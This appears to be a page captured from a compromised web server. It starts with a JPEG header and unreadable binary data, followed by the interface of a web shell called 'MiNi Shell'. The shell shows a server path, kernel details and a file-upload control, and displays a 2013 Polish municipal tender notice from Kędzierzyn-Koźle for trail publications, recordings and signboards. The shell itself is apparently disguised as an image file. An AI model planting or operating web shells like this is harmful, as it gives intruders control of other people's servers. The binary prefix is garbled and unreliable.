JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/common/web/tenders/20130913/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/common/web/tenders/20130913/372588-N-2013.html

<p class="kh_header"><b>Kędzierzyn-Koźle: Realizacja projektu pn. TRANSGRANICZNA EDUKACJA  HISTORYCZNA - SZLAKIEM TWIERDZY KOŹLE.</b><br>
<b>Numer ogłoszenia: 372588 - 2013; data zamieszczenia: 13.09.2013</b><br>
OGŁOSZENIE O ZAMÓWIENIU - usługi<br><br></p>

<p><b>Zamieszczanie ogłoszenia:</b> obowiązkowe.</p>
<p><b>Ogłoszenie dotyczy:</b> zamówienia publicznego.</p>

<p class="kh_title">SEKCJA I: ZAMAWIAJĄCY</p>

<p><b>I. 1) NAZWA I ADRES:</b> Gmina Kędzierzyn-Koźle, Wydział Zamówień Publicznych , ul. Piramowicza 32, 47-200 Kędzierzyn-Koźle, woj. opolskie, tel. 77 40 34 451, faks 77 40 34 451.</p>
<ul class="kh_indent_1">
<li><b>Adres strony internetowej zamawiającego:</b> www.kedzierzynkozle.pl</li></ul>
<p><b>I. 2) RODZAJ ZAMAWIAJĄCEGO:</b> Administracja samorządowa.</p>

<p class="kh_title">SEKCJA II: PRZEDMIOT ZAMÓWIENIA</p>

<p><b>II.1) OKREŚLENIE PRZEDMIOTU ZAMÓWIENIA</b></p>
<p><b>II.1.1) Nazwa nadana zamówieniu przez zamawiającego:</b> Realizacja projektu pn. TRANSGRANICZNA EDUKACJA  HISTORYCZNA - SZLAKIEM TWIERDZY KOŹLE..</p>
<p><b>II.1.2) Rodzaj zamówienia:</b> usługi.</p>
<p><b>II.1.4) Określenie przedmiotu oraz wielkości lub zakresu zamówienia:</b> I. Opracowanie graficzne, przetłumaczenie na język czeski, wydrukowanie i dostawa 3 publikacji książkowych w ramach projektu Transgraniczna edukacja historyczna - szlakiem twierdzy Koźle.;
II.Wykonanie nagrań dźwiękowych (wraz z tłumaczeniem) w językach: polskim, czeskim, angielskim i niemieckim w ramach projektu Transgraniczna edukacja historyczna - szlakiem twierdzy Koźle.;
III.Wykonanie i montaż turystycznej wizualizacji (tablice informacyjne) wraz z przetłumaczeniem tekstów na tablice na języki czeski, niemiecki i angielski w ramach projektu Transgraniczna edukacja historyczna - szlakiem twierdzy Koźle, wg wytycznych przedstawionych w załączniku nr 2 do niniejszego wniosku.. W ramach niniejszego Zamówienia Wykonawca wykona:

CZĘŚĆ I - PUBLIKACJE KSIĄŻKOWE
Publikacja I
Dwujęzyczny przewodnik z mapką 
Format:	 19 x 11 cm (w pionie)
Papier:		okładka: karton 300 g, wnętrze: kreda mat 115 g
Objętość :	20 stron + okładka 
Kolor:		pełny kolor zadruku
Zadruk:	dwustronny
Łączenie:	zszywki
Ilość :		2 000 szt. 
Dwujęzyczny (polsko - czeski) przewodnik opisywał będzie szlak Twierdzy Koźle, historię miasta, fortecy oraz pozostałości po niej.

Publikacja II
Dwujęzyczna publikacja pokonferencyjna 
Format:	  A5
Papier:	okładka: papier kreda mat 200 g + laminowanie;  wnętrze: papier kreda mat 90 g
Ilość stron: 	do 19 arkuszy wydawniczych zadrukowane w pełni + 4 strony zadrukowane częściowo + okładka
Kolor:	tekst i zdjęcia w tekście: cz. - b., okładka: kolor
Zadruk:	dwustronny
Łączenie: klejenia
Ilość :	400 szt. 
Publikacja zawierać będzie referaty wygłoszone podczas seminarium - konferencji, dotyczące powstałej ścieżki edukacyjnej, historii twierdzy i wojskowości w Kędzierzynie - Koźlu, Śląsku i Rzeczypospolitej  a także związanej z nią historii polsko - czeskiego pogranicza. Publikacja zawierać będzie także streszczenia referatów w języku czeskim.

Publikacja III
Opracowane źródła do historii dziejów Twierdzy Koźle (dokumenty wojskowe, rozkazy, itp.)
Format:	  A5
Papier:	okładka: papier kreda mat 200 g + laminowanie; wnętrze: papier kreda mat 80 g
Ilość stron: do 14 arkuszy wydawniczych + okładka 
Kolor:	tekst i zdjęcia w tekście: cz.-b., okładka: kolor
Zadruk:	dwustronny
Łączenie: klejenie
Ilość :	400 szt. 
Publikacja zawierać będzie opracowane źródła do dziejów miasta i Twierdzy Koźle (dokumenty wojskowe, rozkazy, akty cywilno - prawne itp.) uzyskane podczas opracowywania starodruków.

 
Szczegóły techniczne:
1.	Dane techniczne dotyczące specyfikacji poszczególnych części zamówienia, są minimalnymi wymaganiami jakie stawia Zamawiający. Wykonawca ma możliwość na etapie realizacji zamówienia zwiększyć parametry jakościowe poszczególnych elementów np.: lepszej gramatury papieru, kolorowe zdjęcia, trwalsza folia, itp. Na każdą zmianę musi jednak wyrazić zgodę pisemną Zamawiający. 
2.	Zdjęcia, tekst polski oraz logotypy wykorzystane w publikacjach dostarczy Zamawiający, do 7 dni od dnia podpisania umowy.
3.	Tłumaczenia tekstów na język czeski dokona Wykonawca. Koszt tłumaczenia należy ująć w cenę oferty - ilość stron do tłumaczenia: w sumie do 28 stron formatu A4 (ok. 50 400 znaków) - do 10 stron w przypadku publikacji I i do18 stron w przypadku publikacji II;
4.	Wykonawca przygotuje skład - projekt publikacji nr I, II i III do 20 dni kalendarzowych od otrzymania od Zamawiającego materiałów potwierdzonych protokołem pisemnym.
5.	Po tym terminie Zamawiający ma 14 dni kalendarzowych na wniesienie poprawek, lub uwag, które to muszą być usunięte i poprawione przez Wykonawcę do 7 dni kalendarzowych od otrzymania poprawek na piśmie. 
6.	Wykonawca dokona korekty technicznej w/w publikacji.
7.	Przygotowanie mapy do przewodnika należy do Wykonawcy.
8.	Teksty zostaną zapisane w formacie .doc, logotypy natomiast w formacie .cdr, .jpg zaś zdjęcia w formacie .jpg, .tif, .bmp.
9.	Zamawiający  będzie miał wpływ na układ rozmieszczenia poszczególnych treści w publikacjach.
CZĘŚĆ II - WYKONANIE NAGRAŃ DŹWIĘKOWYCH WRAZ 
Z TŁUMACZENIEM
1.	Przedmiotem części II jest realizacja nagrań dźwiękowych w językach: polskim, czeskim, niemieckim i  angielskim.
2.	Do ceny należy wliczyć koszty związane z: wynajęciem studia nagrań, koszty osobowe lektorów (PL, CZ, EN, DE), po dwóch w każdym języku - głosy męski i damski, obróbka materiałów dźwiękowych, przygotowanie nagrań w plikach o parametrach umożliwiających ich instalację w urządzeniach odpowiednich dla urządzeń pracujących w systemie zapewniających jakość odtwarzania minimum na poziomie 44 kHz, 16-bit, stereo.
3.	Wykonawca otrzyma materiał tekstowy od Zamawiającego w języku polskim do 7 dni kalendarzowych od daty podpisania umowy. Przekazanie materiałów w formacie .doc zostanie potwierdzone pisemnie protokołem.
4.	Zamówienie obejmie przetłumaczenie tekstów z języka polskiego na języki czeski, angielski i niemiecki w ilości do 60 000 znaków (15 x 4000 znaków) w każdym z języków.
5.	Wykonawca przygotuje wstępne tłumaczenia do 20 dni kalendarzowych od otrzymania od Zamawiającego materiałów potwierdzonych protokołem pisemnym.
6.	Po tym terminie Zamawiający ma 14 dni kalendarzowych na wniesienie poprawek, lub uwag, lub akceptacje przedstawionego materiału. Poprawki i uwagi muszą być usunięte i poprawione przez Wykonawcę do 7 dni kalendarzowych od otrzymania ich na piśmie.
7.	Po wykonaniu zamówienia Wykonawca dostarczy przedmiot zamówienia w na nośniku danych (CD lub Pendrive), do siedziby Zamawiającego.   

 
CZĘŚĆ III -  WYKONANIE I MONTAŻ TURYSTYCZNEJ WIZUALIZACJI (TABLICE) WRAZ Z TŁUMACZENIEM.
Przedmiotem części III jest: 
1.	Wykonanie i posadowienie 15 szt. tablic wolno stojących.
2.	Przetłumaczenie tekstów na tablice z języka polskiego na języki: czeski, angielski 
i niemiecki.
3.	Przeprowadzenie procedury zgłoszenia w Starostwie Powiatowym 
w Kędzierzynie-Koźlu, posadowienia tablic, na podstawie otrzymanych od Zamawiającego pełnomocnictw. Zamawiający dostarczy stosowne pełnomocnictwa w terminie do 7 dni kalendarzowych od daty podpisania umowy.
4.	Wykonawca przygotuje wstępne tłumaczenia do 20 dni kalendarzowych od otrzymania od Zamawiającego materiałów potwierdzonych protokołem pisemnym.
5.	Po tym terminie Zamawiający ma 14 dni kalendarzowych na wniesienie poprawek, lub uwag, lub akceptacje przedstawionego materiału. Poprawki i uwagi muszą być usunięte i poprawione przez Wykonawcę do 7 dni kalendarzowych od otrzymania ich na piśmie.
Tablice należy wykonać wg projektu załączonego do SIWZ.
Specyfikacja tablic:
Tablice informacyjne wykonać z blachy stalowej o gr. 1,25 mm, podwójnie zaginanej na brzegach. Wymiary tablic: 64 x 94 cm.
Część informacyjna tablic wykonana z folii. Całość zabezpieczona laminatem odpornym na działanie rozpuszczalników do czyszczenia graffiti i chroniącym grafikę przed uszkodzeniem, zabrudzeniem oraz czynnikami pogodowymi.
Tablice montowane do konstrukcji nośnej za pomocą śrub M60x60 ze stali nierdzewnej oraz poprzez elementy dystansowe O20 z otworem w środku dla swobodnego przeprowadzenia śruby M6. Całość ocynkowana i malowana proszkowo w kolorze - czarny mat.
Konstrukcja nośna tablicy to spawana rama z zamkniętych profili, okrągłych O50 i prostokątnych 20x20 mm ocynkowana i malowana proszkowo w kolorze - czarny mat. Rama kształtu prostokątnego - o wysokości 275 cm (185 cm ponad poziom terenu, 90 cm poniżej tego poziomu), szerokość 108 cm. Posadowienia ramy w betonowych stopach o wymiarach szerok. 30 cm dł. 30 cm, wys. 60 cm. Stopy fundamentowe należy posadowić na głębokość 100 cm poniżej poziomu terenu, po podsypce piaskowej o grubości 10 cm i po zagęszczeniu. 
Część graficzna zgodna z załączonym projektem.
Tablice winny być posadowione w miejscach wyznaczonych przez Zamawiającego. Numery działek Zamawiający przekaże Wykonawcy przed podpisaniem umowy, zaś do obowiązku Wykonawcy należy zgłoszenie w Starostwie Powiatowym w Kędzierzynie-Koźlu rozpoczęcia robót związanych z ich posadowieniem, oraz powiadomienie właścicieli działek o terminie robót. 
Projekt graficzny w wersji edytowalnej, zdjęcia, tekst polski, oraz logotypy niezbędne do wykonania tablic dostarczy Zleceniodawca, do 7 dni od dnia podpisania umowy.
Tłumaczenie tekstów na języki: czeski, angielski i niemiecki znajduję się po stronie Wykonawcy. Koszt tłumaczenia należy ująć w cenę oferty - ilość stron do tłumaczenia: do 24 000 znaków (15 x 1600 znaków).
Teksty zostaną zapisane w formacie .doc, logotypy oraz projekt graficzny w formacie .cdr, .jpg zaś zdjęcia w formacie .jpg, .tif, .bmp..</p>

<p><b>II.1.6) Wspólny Słownik Zamówień (CPV):</b> 79.82.30.00-9, 98.39.00.00-3, 92.21.10.00-3.</p>
<p><b>II.1.7) Czy dopuszcza się złożenie oferty częściowej:</b> tak, liczba części: 3.</p>
<p><b>II.1.8) Czy dopuszcza się złożenie oferty wariantowej:</b> nie.</p><br>
<p><b>II.2) CZAS TRWANIA ZAMÓWIENIA LUB TERMIN WYKONANIA:</b> Zakończenie: 22.11.2013.</p>
<p class="kh_title">SEKCJA III: INFORMACJE O CHARAKTERZE PRAWNYM, EKONOMICZNYM, FINANSOWYM I TECHNICZNYM</p>


<p><b>III.2) ZALICZKI</b></p>
<p><b>III.3) WARUNKI UDZIAŁU W POSTĘPOWANIU ORAZ OPIS SPOSOBU DOKONYWANIA OCENY SPEŁNIANIA TYCH WARUNKÓW</b></p>
<ul class="kh_indent_1">
<li><p><b>III.3.2) Wiedza i doświadczenie</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>DOTYCZY CZĘŚCI III
Wykonanie w okresie ostatnich 3 lat tj. od 22.09.2010 r. do 22.09.2013 r., a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie prawidłowo wykonanych usług:
- wykonanie tablic informacyjnych na wartość co najmniej - 30 000,00 zł., z potwierdzeniem ich należytego wykonania.
W przypadku ofert wspólnych, doświadczenie podlega sumowaniu. Warunkiem koniecznym jest, aby suma doświadczenia wynosiła minimum 100% doświadczenia wymaganego przez SIWZ. Warunek ten jest spełniony również, jeżeli jeden z wykonawców posiada 100% wymaganego doświadczenia.
Zamawiający będzie oceniał powyższy warunek na podstawie złożonych dokumentów potwierdzających spełnienie warunku. Ocena dokonana będzie systemem spełnia/nie spełnia.</p>
</li></ul></li><li><p><b>III.3.4) Osoby zdolne do wykonania zamówienia</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Dysponowanie minimum:
DOTYCZY CZĘŚCI I:
1. Tłumaczem języka czeskiego, posiadającym ukończone studia o kierunku bohemistyka. Osoba ta będzie odpowiedzialna za tłumaczenie materiałów w publikacjach.
DOTYCZY CZĘŚCI II i III:
1.	Tłumaczem języka czeskiego, posiadającym ukończone studia o kierunku bohemistyka.
2.	Tłumaczem języka niemieckiego, posiadającym ukończone studia o kierunku germanistyka.
3.	Tłumaczem języka angielskiego, posiadającym ukończone studia wyższe o kierunku anglistyka.
Osoby ta będzie odpowiedzialna za tłumaczenie nagrań 
i tekstów umieszczanych na tablicach.
W przypadku ofert wspólnych, zasoby ludzkie wykonawców występujących wspólnie podlegają sumowaniu.
Zamawiający będzie oceniał powyższy warunek na podstawie złożonych dokumentów potwierdzających spełnienie warunku. Ocena dokonana będzie systemem spełnia/nie spełnia.</p>
</li></ul></li></ul>
<p><b>III.4) INFORMACJA O OŚWIADCZENIACH LUB DOKUMENTACH, JAKIE MAJĄ DOSTARCZYĆ WYKONAWCY W CELU POTWIERDZENIA SPEŁNIANIA WARUNKÓW UDZIAŁU W POSTĘPOWANIU ORAZ NIEPODLEGANIA WYKLUCZENIU NA PODSTAWIE ART. 24 UST. 1 USTAWY</b></p>
<p><b>III.4.1) W zakresie wykazania spełniania przez wykonawcę warunków, o których mowa w art. 22 ust. 1 ustawy, oprócz oświadczenia o spełnianiu warunków udziału w postępowaniu należy przedłożyć:</b></p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">
<li  style="margin-bottom: 12px;">wykaz wykonanych, a w przypadku świadczeń okresowych lub ciągłych również wykonywanych, głównych dostaw lub usług, w okresie ostatnich trzech lat przed upływem terminu składania ofert albo wniosków o dopuszczenie do udziału w postępowaniu, a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie, wraz z podaniem ich wartości, przedmiotu, dat wykonania i podmiotów, na rzecz których dostawy lub usługi zostały wykonane, oraz załączeniem dowodów, czy zostały wykonane lub są wykonywane należycie;</li>

<li  style="margin-bottom: 12px;">wykaz osób, które będą uczestniczyć w wykonywaniu zamówienia, w szczególności odpowiedzialnych za świadczenie usług, kontrolę jakości lub kierowanie robotami budowlanymi, wraz z informacjami na temat ich kwalifikacji zawodowych, doświadczenia i wykształcenia niezbędnych do wykonania zamówienia, a także zakresu wykonywanych przez nie czynności, oraz informacją o podstawie do dysponowania tymi osobami;</li>

</ul>
<p><b>III.4.2) W zakresie potwierdzenia niepodlegania wykluczeniu na podstawie art. 24 ust. 1 ustawy, należy przedłożyć:</b></p>

<ul style="text-align: justify; margin-right: 20px; list-style: disc"><li style="margin-bottom: 12px;">oświadczenie o braku podstaw do wykluczenia;</li>

<li style="margin-bottom: 12px;">aktualny odpis z właściwego rejestru lub z centralnej ewidencji i informacji o działalności gospodarczej, jeżeli odrębne przepisy wymagają wpisu do rejestru lub ewidencji, w celu wykazania braku podstaw do wykluczenia w oparciu o art. 24 ust. 1 pkt 2 ustawy, wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert;</li>

<li style="margin-bottom: 12px;">aktualne zaświadczenie właściwego naczelnika urzędu skarbowego potwierdzające, że wykonawca nie zalega z opłacaniem podatków, lub zaświadczenie, że uzyskał przewidziane prawem zwolnienie, odroczenie lub rozłożenie na raty zaległych płatności lub wstrzymanie w całości wykonania decyzji właściwego organu - wystawione nie wcześniej niż 3 miesiące przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert;</li>

<li style="margin-bottom: 12px;">aktualne zaświadczenie właściwego oddziału Zakładu Ubezpieczeń Społecznych lub Kasy Rolniczego Ubezpieczenia Społecznego potwierdzające, że wykonawca nie zalega z opłacaniem składek na ubezpieczenia zdrowotne i społeczne, lub potwierdzenie, że uzyskał przewidziane prawem zwolnienie, odroczenie lub rozłożenie na raty zaległych płatności lub wstrzymanie w całości wykonania decyzji właściwego organu -  wystawione nie wcześniej niż 3 miesiące przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert;</li>

<li style="margin-bottom: 12px;">wykonawca powołujący się przy wykazywaniu spełniania warunków udziału w postępowaniu na zasoby innych podmiotów, które będą brały udział w realizacji części zamówienia, przedkłada także dokumenty dotyczące tego podmiotu w zakresie wymaganym dla wykonawcy, określonym w pkt III.4.2.</li>

</ul>

<p class="bold">III.4.3) Dokumenty podmiotów zagranicznych</p>
<p class="bold">Jeżeli wykonawca ma siedzibę lub miejsce zamieszkania poza terytorium Rzeczypospolitej Polskiej, przedkłada:</p>
<p class="bold">III.4.3.1)  dokument wystawiony w kraju, w którym ma siedzibę lub miejsce zamieszkania potwierdzający, że:</p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">
<li style="margin-bottom: 12px;">nie otwarto jego likwidacji ani nie ogłoszono upadłości - wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert;</li>

<li style="margin-bottom: 12px;">nie zalega z uiszczaniem podatków, opłat, składek na ubezpieczenie społeczne i zdrowotne albo że uzyskał przewidziane prawem zwolnienie, odroczenie lub rozłożenie na raty zaległych płatności lub wstrzymanie w całości wykonania decyzji właściwego organu - wystawiony nie wcześniej niż 3 miesiące przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert;</li>

</ul><p class="bold">III.4.4)  Dokumenty dotyczące przynależności do tej samej grupy kapitałowej</p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">			
<li style="margin-bottom: 12px;">lista podmiotów należących do tej samej grupy kapitałowej w rozumieniu ustawy z dnia 16 lutego 2007 r. o ochronie konkurencji i konsumentów albo informacji o tym, że nie należy do grupy kapitałowej;</li>

</ul><p><b>III.6) INNE DOKUMENTY</b></p>
<p class="bold">Inne dokumenty niewymienione w pkt III.4) albo w pkt III.5)</p>
<p>Oświadczenie (druk nr 20) potwierdzające prawo do podpisywania wniosku o dopuszczenie do postępowania lub oferty, a tym samym posiadające prawo zaciągania zobowiązań lub składania oświadczenia woli w imieniu Wykonawcy
Wykonawca zagraniczny składa oświadczenie jak wyżej.
W przypadku ofert wspólnych, wszyscy wykonawcy nie prowadzący działalności, a występujący wspólnie składają wymagane oświadczenie.
W przypadku osoby udostępniającej swoje zasoby zgodnie z art. 26 ust. 2b i biorącej udział w realizacji części zamówienia składa także niniejszy dokument.;

Oświadczenie Wykonawcy (druk nr 2) o spełnieniu warunków udziału w postępowaniu wymienionych w art. 22 ust. 1 ustawy Pzp. 
W przypadku ofert wspólnych, oświadczenie w imieniu wykonawców występujących wspólnie, składa upełnomocniony lider lub wszyscy wykonawcy składają oświadczenie wspólne.;

Formularz oferty wypełniony ściśle wg załączonego do SIWZ wzoru druku z kompletem oświadczeń dotyczących spełnienia warunków oferty i udzielenia zamówienia oraz podpisany przez upełnomocnionego przedstawiciela wykonawcy określonego aktem rejestrowym z podaniem imienia i nazwiska.;

Istotne postanowienia umowy zaakceptowane wraz z kartą gwarancyjną (podpisany pod słowem =akceptuję=) przez osobę reprezentującą Wykonawcę. Dla przejrzystości dokumentu zaleca się (bez obowiązku) wypełnienie miejsc wykropkowanych i oznaczonych znakiem dwóch gwiazdek.;

Pełnomocnictwo wystawione wg wzoru załączonego do niniejszej SIWZ lub pełnomocnictwa udzielane przez Wykonawcę. W przypadku przedkładania kopii pełnomocnictw muszą być one potwierdzone (uwierzytelnione) notarialnie za zgodność z oryginałem.;</p>

<p class="kh_title">SEKCJA IV: PROCEDURA</p>
<p><b>IV.1) TRYB UDZIELENIA ZAMÓWIENIA</b></p>
<p><b>IV.1.1) Tryb udzielenia zamówienia:</b> przetarg nieograniczony.</p>

<p><b>IV.2) KRYTERIA OCENY OFERT</b></p>
<p><b>IV.2.1) Kryteria oceny ofert: </b>
<p><b>IV.3) ZMIANA UMOWY</b></p>
<p><b>przewiduje się istotne zmiany postanowień zawartej umowy w stosunku do treści oferty, na podstawie której dokonano wyboru wykonawcy: </b></p>
<p><b>Dopuszczalne zmiany postanowień umowy oraz określenie warunków zmian</b></p>
<p>Strony przewidują możliwość zmiany umowy w zakresie terminu wykonania Zamówienia:
1.	dla Części III, w przypadku przedłużającej się procedury zgłoszenia robót posadowienia tablic w Starostwie Powiatowym w Kędzierzynie-Koźlu.
2. dla Części I zmian parametrów publikacji, gdy zmiany są korzystne dla Zamawiającego.
3.	Wszelkie zmiany niniejszej umowy wymagają formy pisemnej pod rygorem nieważności.</p>
<p><b>IV.4) INFORMACJE ADMINISTRACYJNE</b></p>
<p><b>IV.4.1)</b>&nbsp;<b>Adres strony internetowej, na której jest dostępna specyfikacja istotnych warunków zamówienia:</b> http://przetargi.kedzierzynkozle.pl/<br>
<b>Specyfikację istotnych warunków zamówienia można uzyskać pod adresem:</b> Wydział Zamówień Publicznych UM Kędzierzyn-Koźle, Piramowicza 32, pok. 419, 47-200 Kędzierzyn-Koźle.</p>
<p><b>IV.4.4) Termin składania wniosków o dopuszczenie do udziału w postępowaniu lub ofert:</b> 23.09.2013 godzina 13:00, miejsce: Wydział Zamówień Publicznych UM Kędzierzyn-Koźle, Piramowicza 32, pok. 419, 47-200 Kędzierzyn-Koźle.</p>
<p><b>IV.4.5) Termin związania ofertą:</b> okres w dniach: 30 (od ostatecznego terminu składania ofert).</p>




<p><b>IV.4.16) Informacje dodatkowe, w tym dotyczące finansowania projektu/programu ze środków Unii Europejskiej:</b> Projekt Transgraniczna edukacja historyczna - szlakiem Twierdzy Koźle
jest  współfinansowany ze środków Europejskiego Funduszu Rozwoju Regionalnego oraz ze środków budżetu państwa.
PRZEKRACZAMY GRANICE.</p>
<p><b>IV.4.17) Czy przewiduje się unieważnienie postępowania o udzielenie zamówienia, w przypadku nieprzyznania środków pochodzących z budżetu Unii Europejskiej oraz niepodlegających zwrotowi środków z pomocy udzielonej przez państwa członkowskie Europejskiego Porozumienia o Wolnym Handlu (EFTA), które miały być przeznaczone na sfinansowanie całości lub części zamówienia: </b> tak</p>
<p class="text kh_title">ZAŁĄCZNIK I - INFORMACJE DOTYCZĄCE OFERT CZĘŚCIOWYCH</p>
<p><b>CZĘŚĆ Nr:</b> 1 <b>NAZWA:</b> Publikacje książkowe.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> I. Opracowanie graficzne, przetłumaczenie na język czeski, wydrukowanie i dostawa 3 publikacji książkowych w ramach projektu Transgraniczna edukacja historyczna - szlakiem twierdzy Koźle..</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 79.82.30.00-9.</p></li>
<li><b>3) Czas trwania lub termin wykonania:</b> Zakończenie: 22.11.2013.</li><li><p><b>4) Kryteria oceny ofert: </b>najniższa cena. </ul><br>
<p><b>CZĘŚĆ Nr:</b> 2 <b>NAZWA:</b> Nagrania radiowe.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> Wykonanie nagrań dźwiękowych (wraz z tłumaczeniem) w językach: polskim, czeskim, angielskim i niemieckim w ramach projektu Transgraniczna edukacja historyczna - szlakiem twierdzy Koźle.</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 92.21.10.00-3.</p></li>
<li><b>3) Czas trwania lub termin wykonania:</b> Zakończenie: 22.11.2013.</li><li><p><b>4) Kryteria oceny ofert: </b>najniższa cena. </ul><br>
<p><b>CZĘŚĆ Nr:</b> 3 <b>NAZWA:</b> Tablice informacyjne.</p>
